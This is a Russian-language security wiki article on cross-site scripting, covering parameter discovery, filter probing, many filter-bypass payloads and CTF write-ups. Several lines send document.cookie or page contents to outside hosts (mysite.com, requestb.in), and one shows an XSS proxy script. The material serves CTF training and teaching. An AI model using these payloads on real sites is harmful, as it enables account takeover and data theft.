Xss

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

ВАЖНО!! Статья пока что не включает в себя DOM XSS!

Нахождение XSS

Разделим нахождение на несколько пунктов

Поиск параметров

Для нахождения параметров можно либо воспользоваться программкой, встроенной в BurpSuite, либо найти все параметры вручную сниффером.

Чтобы включить spider'а, нужно правой кнопкой по директории -> Spider this host

Включение spider'а в BurpSuite

В параметры входят не только POST/GET и другие типы запросов! Вот пример, где xss появляется из-за вывода url (чаще всего на 404 страницах) в bWAPP:

URLXSS.png


Подстановка

Для проверки параметров первоначально нужно удостовериться, что код выводится на странице.

Что делаем: в каждый параметр вставляем уникальную строку, которой нет на странице и делаем поиск по исходному коду.

Пример:

    Ссылка на эту страницу:
     /index.php?title=Xss

Видим, что есть параметр title (но не забывайте смотреть и пост параметры)

Тогда подставим в него строку 'testtesttest'.


Xss find1.png

Видим, что наш текст вывелся - записываем его куда-нибудь и повторяем это действие с другими параметрами.

В итоге к этому моменту у нас на руках список параметров, которые нужно продолжать проверять дальше.

Изучение фильтров

Теперь начинается самое интересное!

Подставляем следующую строку в параметр:


    '":;<>/\[]<script><h1>

И далее идет разделение на результат:

Отсутствие фильтров

Если у вас текст так и остался неизменным, то мои поздравления - ВЫ нашли XSS!


Xssuccess.png


Убрался <script>

Если у вас вдруг исчез ТОЛЬКО <script>, то вероятнее всего идет поиск по опасным тегам - но и это в современном мире обходится.

Теперь посмотрим внимательнее - если у вас из строки ...a'<script>'b... получилась строка ...ab... то делаем следующее:

     test<scr<script>ipt>test


В итоге у нас должна получиться строка вида:

test<script>test


Ну и опять же SUCCESS!


Убрались И <script> И <h1>

В этом случае чаще всего идет прогон по всем известным миру тегам - и тут обойти можно только при некоторых обстоятельствах (одно из них вы можете посмотреть в пунке 'убрались знаки <>')

Исчезли знаки '<' и '>'

Тут уже интереснее тк зависит от окружения.

В <a href='test'> и других параметрах в ' или " кавычках

Тут к нам на помощь придут такие параметры, как onload или onmouseover.

Что будет, если отослать test' onload='alert()' a='  ?

А вот что:

<a href='test' onload='alert()' a=''>


В итоге у нас запустится окошко алерта!

В тегах <script>...</script>

Тк рассчитываем, что у нас фильруются только знаки '<' и '>', то почти любой код в яве можно НАписать без них - а тем более ДОписать.

Возьмем в пример следующий код:

     <script>
          var a = 'text';
     </script>

А теперь смотрим, что будет при подстановке test1'; alert(); var b = 'test2  :

     <script>
             var a = 'text';
             alert();
             var b = 'test2';
     </script>

В итоге наш код заработает, и при достижении второй строки скрипта появится окошко алерта!

P.S.ВАЖНО!!! Если вы ошибетесь в синтаксисе js, то ваш код скорее всего не заработает. Поэтому советую проверять все в консоли.

Большинство символов преобразовались в &g t ; &l t ; и др

В этом случае вся переменная обрабатывается PHP (дополните функции из других яп) функцией под названием htmlspecialchars.

Про нее подробно написано тут: http://php.net/manual/ru/function.htmlspecialchars.php

А вот и пример ее использования (взято с google.com):

Htmlspecialchars.png

В этом случае защиту, увы, пока никак не обойти... пока...

Эксплуатация XSS

Ну нашли мы XSS - и что это нам дало? В этом пункте я приведу некоторые примеры (скорее всего их больше) эксплуатации XSS.

Кража cookies

Ну самое известное - это конечно кража чужих куки, с последующей заменой свои куки на куки жертвы и захода в аккаунт.

Что требуется для этого

  • Сниффер
  • Контакт с жертвой
  • XSS

Начну с описания сниффера

Сниффер

Обьясню доступным языком. Cниффер (в данном случае) - скрипт, записыващий все обращения к нему (в том числе и полый url).

Например у нас есть на каком то сервере файл site.ru/sniffer.php ,

(пример кода позже)

который записывает все обращения к нему.

Вот я зашел на site.ru/sniffer.php?testtesttest - и у него в логах записалось

   1) ip
   2) useragent
   3) testtesttest

, где testtesttest - чаще всего куки приписанные.

А теперь обьясняю почему на этот список стоит обратить внимание - многие задания с этим связаны на тасковых ctf.

Распространенные задания:

    Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. 
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))

Как они проходятся:

   Обходим защиту xss (при ее наличии).
   Посылаем бота на наш сниффер.
   Получаем все нужные данные со сниффера.


Все это время мы разбирали хранимые XSS (когда xss сохраняется на сервере). Вот вам пример задания на НЕ хранимую (когда xss привязывается к url):

    Есть скрипт, открывающий все ссылки,которые ему передали.
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))

Решение такое - же.


(нужны примеры с реальных ctf)

CSRF+XSS

Опять же вкратце - выполняет за пользователя действия, которые пользователь врят ли бы выполнил в здравом уме (например сделать администратором кого-то).

Тут кроме XSS, еще и требуется CSRF уязвимость - про нее почитать можете у нас на вики.

Опять пример:

    Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. 
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить флаг, который он может отправить только при post запросе при ,например, нажатии на какую-либо кнопку.

Решение:

    Раскручиваем XSS
    Пишем XSS скрипт, отсылающий нужный нам запрос от лица жертвы.
    Получаем флаг и ништяки=)


Proxy

Так же мы можем использовать XSS как прокси. Приведу пример кода:

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> 
<script> 
	$.ajax({ 
		type: "GET",
		crossDomain: true,
		xhrFields: {
				withCredentials: true
		},
		url: 'http://challenge01.root-me.org/web-client/ch23/index.php',
		success: function(data) { 
			img=new Image();
			img.src='http://requestb.in/1237qlk1?'+data; 
		} 
	}); 
 </script>

Частные случаи обхода фильтров

Вынес в отдельную часть тк xss по большей части от обхода фильтрации и зависит(она и является обходом фильтров:) (примеры собрал с нескольких сайтов - в разделе статей их напишу)

    alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))


    alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))


<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#97;&#107;&#110;&#101;&#116;&#46;&#114;&#117;&#39;&#41;>


<IMG SRC=&#0000106a&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000120&#000097&#0000107&#0000110&#0000101&#0000116&#0000046&#0000114&#0000117&#0000039&#0000041>

(знаки ! удалить)

<IMG SRC="Ja	va	sc	ri	pt	:	al	er	t(	'me	ssa	ge'	)">


<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">

Обход путем двойного urlencode (bWAPP):

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e


"В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода."

     a="get";
     b="URL(\"";
     c="javascript:";
     d="alert('message');\")";
     eval(a+b+c+d);

"Использование UTF-7.Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7."


     <HEAD>
          <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
     </HEAD>
     +ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-


В статье http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/

рассказывается обход фильтрации с помощью картинки.


http://raz0r.name/news/xss-filters-bypass-on-blackhat/

А вот уже с блекхата:

     (É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
     ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''
     +$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

Обход фильтрации точек:

     eval(unescape(String(/%2a%2a%2falert(%22xss%22);%2f%2a%2a/)));

И на последок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html

Тут вы можете найти список xss пейлоадов для тестирования.

Множество примеров

SHarifCTF 2016 - WEB photoblog

Описание

url - http://ctf.sharif.edu:33455/chal/PhotoBlog/d57ad4d0f9afd1f1/ A friend of mine have stolen my cat's picture on his blog. I want to login as admin user on his blog. Do you have any idea?

Решение

    1. C dirs3arch мы можем найти авторизацию админа: admin.php которая редиректит нас на login.php. Все это только потому что у нас нет правильной сессии.
    2. XSS в поле под комментарии,
    3. <script>document.write('<img src="http://mysite.com/cookies.php?cookie=' + document.cookie + '" />')</script>
    4. Украденные куки админа: PHPSESSID=515386866780b5f132fc96c02b3ddb82.
    5. Используя их, мы можем открыть страницу админки и получить флаг: c03dfe9d79b2dd4a0c8352949bde9ab9



GoogleCTF 2016 - WEB Wallowing Wallabies (II level)

Описание

Ссылка на оригинал райтапа - http://countersite.org/articles/web-vulnerability/83-web-writeup-googlectf-wallowing-wallabies.html

Требуется проэксплуатировать XSS с фильтрацией большинства тегов/payload'ов

Решение

    1. Определяем, что фильтруется тег <script> только если на строке присутствует последний его знак ">"
    2. Переносим знак, и составляем javascript exploit:
         <script
         >
         img=new Image();
         img.src='https://requestb.in/xxxxxxxxx?'+document.cookie;
         </script
         >
    3. Ловим куки, заменяем их в браузере
    4. В декодированных из base64 куках будет показываться путь на сайте, к которому мы получили доступ
    5. Переходим по найденному пути - /deep-blue-sea/team/characters и получаем флаг!

Статьи и прочее

Статьи

https://github.com/codedokode/pasta/blob/master/security/xss.md

https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

http://forum.antichat.ru/threads/20140/

http://forum.antichat.ru/threads/224582/

http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/

Райтапы

NorthSec 2015 - XSS Challenge Writeups

http://holyvier.blogspot.ru/2015/05/northsec-xss-challenge-writeups.html

CSAW CTF 2014 - WEB 300

http://wiremask.eu/csaw-ctf-2014-web-300-hashes-writeup/

BBCTF 2016 - QAQ WEB 350

https://github.com/raccoons-team/ctf/tree/master/2016-03-19-bctf/web-350-QAQ

BBCTF 2016 - Homework WEB 500

https://www.ibrahim-elsayed.com/?p=214


Google CTF 2016 - Wallowing Wallabies

http://countersite.org/articles/web-vulnerability/83-web-writeup-googlectf-wallowing-wallabies.html

Тренировки

https://xss-game.appspot.com/

http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-1

http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-2